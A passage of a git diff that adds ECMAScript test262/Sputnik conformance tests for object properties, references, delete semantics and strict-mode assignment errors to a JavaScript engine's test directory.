+ $ERROR('#2: var numInstance=new Number; numInstance.constructor === Number. Actual: ' + (numInstance.constructor));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A7.js b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A7.js
new file mode 100644
index 000000000..6e996d779
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A7.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Objects that implement internal method [[Construct]] are called constructors. Math object is NOT constructor
+ *
+ * @path ch08/8.6/8.6.2/S8.6.2_A7.js
+ * @description Checking if execution of "var objMath=new Math" passes
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var objMath=new Math;
+
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A8.js b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A8.js
new file mode 100644
index 000000000..d57a56132
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A8.js
@@ -0,0 +1,22 @@
+// Copyright 2011 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @path ch08/8.6/8.6.2/S8.6.2_A8.js
+ * @description It should not be possible to change the [[Prototype]]
+ * of a non-extensible object
+ */
+
+var x = Object.preventExtensions({});
+var y = {};
+try {
+ x.__proto__ = y;
+} catch (err) {
+ // As far as this test is concerned, we allow the above assignment
+ // to fail. This failure does violate the spec and should probably
+ // be tested separately.
+}
+if (Object.getPrototypeOf(x) !== Object.prototype) {
+ $ERROR("Prototype of non-extensible object mutated");
+}
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/browser.js b/js/src/tests/test262/ch08/8.6/8.6.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/browser.js
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/shell.js b/js/src/tests/test262/ch08/8.6/8.6.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/shell.js
diff --git a/js/src/tests/test262/ch08/8.6/S8.6_A2_T1.js b/js/src/tests/test262/ch08/8.6/S8.6_A2_T1.js
new file mode 100644
index 000000000..4e13df667
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/S8.6_A2_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Do not crash with postincrement custom property
+ *
+ * @path ch08/8.6/S8.6_A2_T1.js
+ * @description Try to implement postincrement for custom property
+ */
+
+var __map={foo:"bar"};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+
+__map.foo++;
+if (!isNaN(__map.foo)) {
+ $ERROR('#1: var __map={foo:"bar"}; __map.foo++; __map.foo === Not-a-Number. Actual: ' + (__map.foo));
+}
+
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/S8.6_A2_T2.js b/js/src/tests/test262/ch08/8.6/S8.6_A2_T2.js
new file mode 100644
index 000000000..b96be42ad
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/S8.6_A2_T2.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Do not crash with postincrement custom property
+ *
+ * @path ch08/8.6/S8.6_A2_T2.js
+ * @description Try to implement postincrement for not declared custom property
+ */
+
+var __map={};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!isNaN(__map.foo++)) {
+ $ERROR('#1: var __map={}; __map.foo === Not-a-Number. Actual: ' + (__map.foo));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (!("foo" in __map)) {
+ $ERROR('#2: var __map={}; "foo" in __map');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/S8.6_A3_T1.js b/js/src/tests/test262/ch08/8.6/S8.6_A3_T1.js
new file mode 100644
index 000000000..431148520
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/S8.6_A3_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Do not crash with pefixincrement custom property
+ *
+ * @path ch08/8.6/S8.6_A3_T1.js
+ * @description Try to implement pefixincrement for custom property
+ */
+
+var __map={foo:'bar'};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+
+++__map.foo;
+if (!isNaN(__map.foo)) {
+ $ERROR('#1: var __map={foo:"bar"}; ++__map.foo; __map.foo === Not-a-Number. Actual: ' + (__map.foo));
+}
+
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/S8.6_A3_T2.js b/js/src/tests/test262/ch08/8.6/S8.6_A3_T2.js
new file mode 100644
index 000000000..08a425a13
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/S8.6_A3_T2.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Do not crash with pefixincrement custom property
+ *
+ * @path ch08/8.6/S8.6_A3_T2.js
+ * @description Try to implement pefixincrement for not declared custom property
+ */
+
+var __map={};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!isNaN(++__map.foo)) {
+ $ERROR('#1: var __map={}; __map.foo++; __map.foo === Not-a-Number. Actual: ' + (__map.foo));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (!("foo" in __map)) {
+ $ERROR('#2: var __map={}; "foo" in __map');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/S8.6_A4_T1.js b/js/src/tests/test262/ch08/8.6/S8.6_A4_T1.js
new file mode 100644
index 000000000..94424118a
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/S8.6_A4_T1.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * An Object is an unordered collection of properties
+ *
+ * @path ch08/8.6/S8.6_A4_T1.js
+ * @description Simple using a few custom properties
+ */
+
+///////////////////////////////////////////////////////
+// CHECK#1
+var obj = {bar:true, some:1, foo:"a"};
+
+var count=0;
+
+for (property in obj) count++;
+
+if (count !== 3){
+ $ERROR('#1: obj = {bar:true, some:1, foo:"a"}; count=0; for (property in obj) count++; count === 3. Actual: ' + (count));
+}
+//
+////////////////////////////////////////////////////////
+
+///////////////////////////////////////////////////////
+// CHECK#2
+var obj_ = {bar:true};
+obj_.some = 1;
+obj_.foo = "a";
+
+count=0;
+
+for (property in obj_) count++;
+
+if (count !== 3){
+ $ERROR('#2: obj_ = {bar:true}; obj_.some = 1; obj_.foo = "a"; count=0; for (property in obj_) count++; count === 3. Actual: ' + (count));
+}
+//
+////////////////////////////////////////////////////////
+
+///////////////////////////////////////////////////////
+// CHECK#3
+var obj__ = new Object();
+obj__.bar = true;
+obj__.some = 1;
+obj__.foo = "a";
+
+count=0;
+
+for (property in obj__) count++;
+
+if (count !== 3){
+ $ERROR('#3: obj__ = new Object(); obj__.bar = true; obj__.some = 1; obj__.foo = "a"; for (property in obj__) count++; count === 3. Actual: ' + (count));
+}
+//
+////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/browser.js b/js/src/tests/test262/ch08/8.6/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/browser.js
diff --git a/js/src/tests/test262/ch08/8.6/shell.js b/js/src/tests/test262/ch08/8.6/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/shell.js
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-1-s.js b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-1-s.js
new file mode 100644
index 000000000..a7f5f5b2c
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-1-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.7/8.7.2/8.7.2-1-s.js
+ * @description Strict Mode - ReferenceError is thrown if LeftHandSide evaluates to an unresolvable Reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("_8_7_2_1 = 11;");
+ return false;
+ } catch (e) {
+ return e instanceof ReferenceError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-2-s.js b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-2-s.js
new file mode 100644
index 000000000..abbfbc7fe
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-2-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.7/8.7.2/8.7.2-2-s.js
+ * @description Strict Mode - ReferenceError isn't thrown if LeftHandSide evaluates to a resolvable Reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var b = 11;
+ return b === 11;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-3-1-s.js b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-3-1-s.js
new file mode 100644
index 000000000..7695a3cb8
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-3-1-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.7/8.7.2/8.7.2-3-1-s.js
+ * @description eval - a property named 'eval' is permitted
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ var o = { eval: 42};
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-3-a-1gs.js b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-3-a-1gs.js
new file mode 100644
index 000000000..88dc77f61
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-3-a-1gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch08/8.7/8.7.2/8.7.2-3-a-1gs.js
+ * @description Strict Mode - ReferenceError is thrown if LeftHandSide evaluate to an unresolvable Reference
+ * @onlyStrict
+ * @negative .
+ */
+
+"use strict";
+b = 11;
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-3-a-2gs.js b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-3-a-2gs.js
new file mode 100644
index 000000000..402e7dcfb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-3-a-2gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch08/8.7/8.7.2/8.7.2-3-a-2gs.js
+ * @description Strict Mode - 'runtime' error is thrown before LeftHandSide evaluates to an unresolvable Reference
+ * @onlyStrict
+ * @negative NotEarlyError
+ */
+
+"use strict";
+throw NotEarlyError;
+b = 11;
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-3-s.js b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-3-s.js
new file mode 100644
index 000000000..b61a53046
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-3-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.7/8.7.2/8.7.2-3-s.js
+ * @description Strict Mode - TypeError is thrown if LeftHandSide is a reference to a non-writable data property
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _8_7_2_3 = {};
+ Object.defineProperty(_8_7_2_3, "b", {
+ writable: false
+ });
+
+ try {
+ _8_7_2_3.b = 11;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-4-s.js b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-4-s.js
new file mode 100644
index 000000000..f8bb3cfc2
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-4-s.js
@@ -0,0 +1,28 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.7/8.7.2/8.7.2-4-s.js
+ * @description Strict Mode - TypeError is thrown if LeftHandSide is a reference to an accessor property with no setter
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _8_7_2_4 = {};
+ var _8_7_2_4_bValue = 1;
+ Object.defineProperty(_8_7_2_4, "b", {
+ get: function () { return _8_7_2_4_bValue; }
+ });
+
+ try {
+ _8_7_2_4.b = 11;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-5-s.js b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-5-s.js
new file mode 100644
index 000000000..ece372934
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-5-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.7/8.7.2/8.7.2-5-s.js
+ * @description Strict Mode - TypeError is thrown if LeftHandSide is a reference to a non-existent property of an non-extensible object
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _8_7_2_5 = {};
+ Object.preventExtensions(_8_7_2_5);
+
+ try {
+ _8_7_2_5.b = 11;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-6-s.js b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-6-s.js
new file mode 100644
index 000000000..298485f94
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-6-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.7/8.7.2/8.7.2-6-s.js
+ * @description Strict Mode - TypeError isn't thrown if LeftHandSide is a reference to a writable data property
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _8_7_2_6 = {};
+ Object.defineProperty(_8_7_2_6, "b", {
+ writable: true
+ });
+
+ _8_7_2_6.b = 11;
+
+ return _8_7_2_6.b === 11;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-7-s.js b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-7-s.js
new file mode 100644
index 000000000..bc2f19543
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-7-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.7/8.7.2/8.7.2-7-s.js
+ * @description Strict Mode - TypeError isn't thrown if LeftHandSide is a reference to an accessor property with setter
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _8_7_2_7 = {};
+ var _8_7_2_7_bValue = 1;
+ Object.defineProperty(_8_7_2_7, "b", {
+ get: function () { return _8_7_2_7_bValue; },
+ set: function (value) { _8_7_2_7_bValue = value; }
+ });
+
+ _8_7_2_7.b = 11;
+ return _8_7_2_7.b === 11;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-8-s.js b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-8-s.js
new file mode 100644
index 000000000..1e69c3305
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/8.7.2-8-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.7/8.7.2/8.7.2-8-s.js
+ * @description Strict Mode - TypeError isn't thrown if LeftHandSide is a reference to a property of an extensible object
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _8_7_2_8 = {};
+
+ _8_7_2_8.b = 11;
+
+ return _8_7_2_8.b === 11;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/browser.js b/js/src/tests/test262/ch08/8.7/8.7.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/browser.js
diff --git a/js/src/tests/test262/ch08/8.7/8.7.2/shell.js b/js/src/tests/test262/ch08/8.7/8.7.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/8.7.2/shell.js
diff --git a/js/src/tests/test262/ch08/8.7/S8.7.1_A1.js b/js/src/tests/test262/ch08/8.7/S8.7.1_A1.js
new file mode 100644
index 000000000..624b2d71f
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7.1_A1.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Delete operator deletes pure property, so it returns true to be applyed to this.property
+ *
+ * @path ch08/8.7/S8.7.1_A1.js
+ * @description Try to delete this.y, where y is this.y=1
+ */
+
+this.y = 1;
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if((delete this.y) !== true){
+ $ERROR('#1: this.y = 1; (delete this.y) === true. Actual: ' + ((delete this.y)));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (this.y !== undefined){
+ $ERROR('#2: this.y = 1; (delete this.y) === true; this.y === undefined. Actual: ' + (this.y));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7.1_A2.js b/js/src/tests/test262/ch08/8.7/S8.7.1_A2.js
new file mode 100644
index 000000000..eb9c4caff
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7.1_A2.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Delete operator can't delete reference, so it returns false to be applyed to reference
+ *
+ * @path ch08/8.7/S8.7.1_A2.js
+ * @description Try to delete y, where y is var y=1
+ * @noStrict
+ */
+
+var y = 1;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(delete y){
+ $ERROR('#1: y = 1; (delete y) === false. Actual: ' + ((delete y)));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (y !== 1) {
+ $ERROR('#2: y = 1; delete y; y === 1. Actual: ' + (y));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7.2_A1_T1.js b/js/src/tests/test262/ch08/8.7/S8.7.2_A1_T1.js
new file mode 100644
index 000000000..c7908106d
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7.2_A1_T1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * GetValue(V) mast fail
+ *
+ * @path ch08/8.7/S8.7.2_A1_T1.js
+ * @description Checking if execution of "'litera'=1;" fails
+ * @negative
+ */
+
+'litera'=1;
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7.2_A1_T2.js b/js/src/tests/test262/ch08/8.7/S8.7.2_A1_T2.js
new file mode 100644
index 000000000..97a38cc0b
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7.2_A1_T2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * GetValue(V) mast fail
+ *
+ * @path ch08/8.7/S8.7.2_A1_T2.js
+ * @description Checking if execution of "1=1" fails
+ * @negative
+ */
+
+1=1;
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7.2_A2.js b/js/src/tests/test262/ch08/8.7/S8.7.2_A2.js
new file mode 100644
index 000000000..53f3a8d5b
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7.2_A2.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * x++ calls GetValue then PutValue so after applying postfix increment(actually conrete operator type is unimportant)
+ * we must have reference to defined value
+ *
+ * @path ch08/8.7/S8.7.2_A2.js
+ * @description Execute x++, where x is var x
+ */
+
+var x;
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (x !== undefined) {
+ $ERROR('#1: var x; x === undefined. Actual: ' + (x));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+x++;
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (x === undefined) {
+ $ERROR('#2: var x; x++; x !== undefined');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7.2_A3.js b/js/src/tests/test262/ch08/8.7/S8.7.2_A3.js
new file mode 100644
index 000000000..7877e4e2b
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7.2_A3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * this.x++ calls GetValue then PutValue so after applying postfix increment(actually conrete operator type is unimportan)
+ * we must have reference to defined value
+ *
+ * @path ch08/8.7/S8.7.2_A3.js
+ * @description Execute this.x++, where this.x is undefined
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (this.x !== undefined) {
+ $ERROR('#1: this.x === undefined. Actual: ' + (this.x));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+this.x++;
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (x === undefined) {
+ $ERROR('#2: this.x; this.x++; x !== undefined');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7_A1.js b/js/src/tests/test262/ch08/8.7/S8.7_A1.js
new file mode 100644
index 000000000..7743600bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7_A1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multiple Variables should Referring to a Single Object
+ *
+ * @path ch08/8.7/S8.7_A1.js
+ * @description Create object and refers to the other object, modify a property in the original object.
+ * We now see that that change is represented in both variables
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+// Set obj to an empty object
+//
+var obj = new Object();
+// objRef now refers to the other object
+//
+var objRef = obj;
+// Modify a property in the original object
+objRef.oneProperty = -1;
+obj.oneProperty = true;
+// We now see that that change is represented in both variables
+// (Since they both refer to the same object)
+if(objRef.oneProperty !== true){
+ $ERROR('#1: var obj = new Object(); var objRef = obj; objRef.oneProperty = -1; obj.oneProperty = true; objRef.oneProperty === true. Actual: ' + (objRef.oneProperty));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7_A2.js b/js/src/tests/test262/ch08/8.7/S8.7_A2.js
new file mode 100644
index 000000000..8e1e1e933
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7_A2.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Reference to Self-Modifying Object remain the integrity
+ *
+ * @path ch08/8.7/S8.7_A2.js
+ * @description Create a reference to the array, and change original array
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+// Create an array of items
+var items = new Array( "one", "two", "three" );
+// Create a reference to the array of items
+var itemsRef = items;
+// Add an item to the original array
+items.push( "four" );var itemsRef = items;
+// The length of each array should be the same,
+// since they both point to the same array object
+if( itemsRef.length !== 4){
+ $ERROR('#1: var items = new Array( "one", "two", "three" ); var itemsRef = items; items.push( "four" );var itemsRef = items; itemsRef.length !== 4');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+// Create an array of items
+var items = new Array( "one", "two", "three" );
+// Create a reference to the array of items
+var itemsRef = items;
+// Add an item to the original array
+items[1]="duo";
+// The length of each array should be the same,
+// since they both point to the same array object
+if( itemsRef[1] !== "duo"){
+ $ERROR('#2: var items = new Array( "one", "two", "three" ); var itemsRef = items; items[1]="duo"; itemsRef[1] === "duo". Actual: ' + (itemsRef[1]));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7_A3.js b/js/src/tests/test262/ch08/8.7/S8.7_A3.js
new file mode 100644
index 000000000..b7266bee7
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7_A3.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Changing the Reference of an Object While Maintaining Integrity
+ *
+ * @path ch08/8.7/S8.7_A3.js
+ * @description Create a reference to the array, and redefine original array with new array
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+// Set items to an array (object) of strings
+var items = new Array( "one", "two", "three" );
+// Set itemsRef to a reference to items
+//
+var itemsRef = items;
+// Set items to equal a new object
+//
+items = new Array( "new", "array" );
+// items and itemsRef now point to different objects.
+// items points to new Array( "new", "array" )
+// itemsRef points to new Array( "one", "two", "three" )
+if( items == itemsRef ){
+ $ERROR('#1: var items = new Array( "one", "two", "three" ); var itemsRef = items; items = new Array( "new", "array" ); items != itemsRef');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7_A4.js b/js/src/tests/test262/ch08/8.7/S8.7_A4.js
new file mode 100644
index 000000000..f2c7b4562
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7_A4.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Object Modification Resulting in a New Object for Not a Self-Modified Object leads to loss of integrity
+ *
+ * @path ch08/8.7/S8.7_A4.js
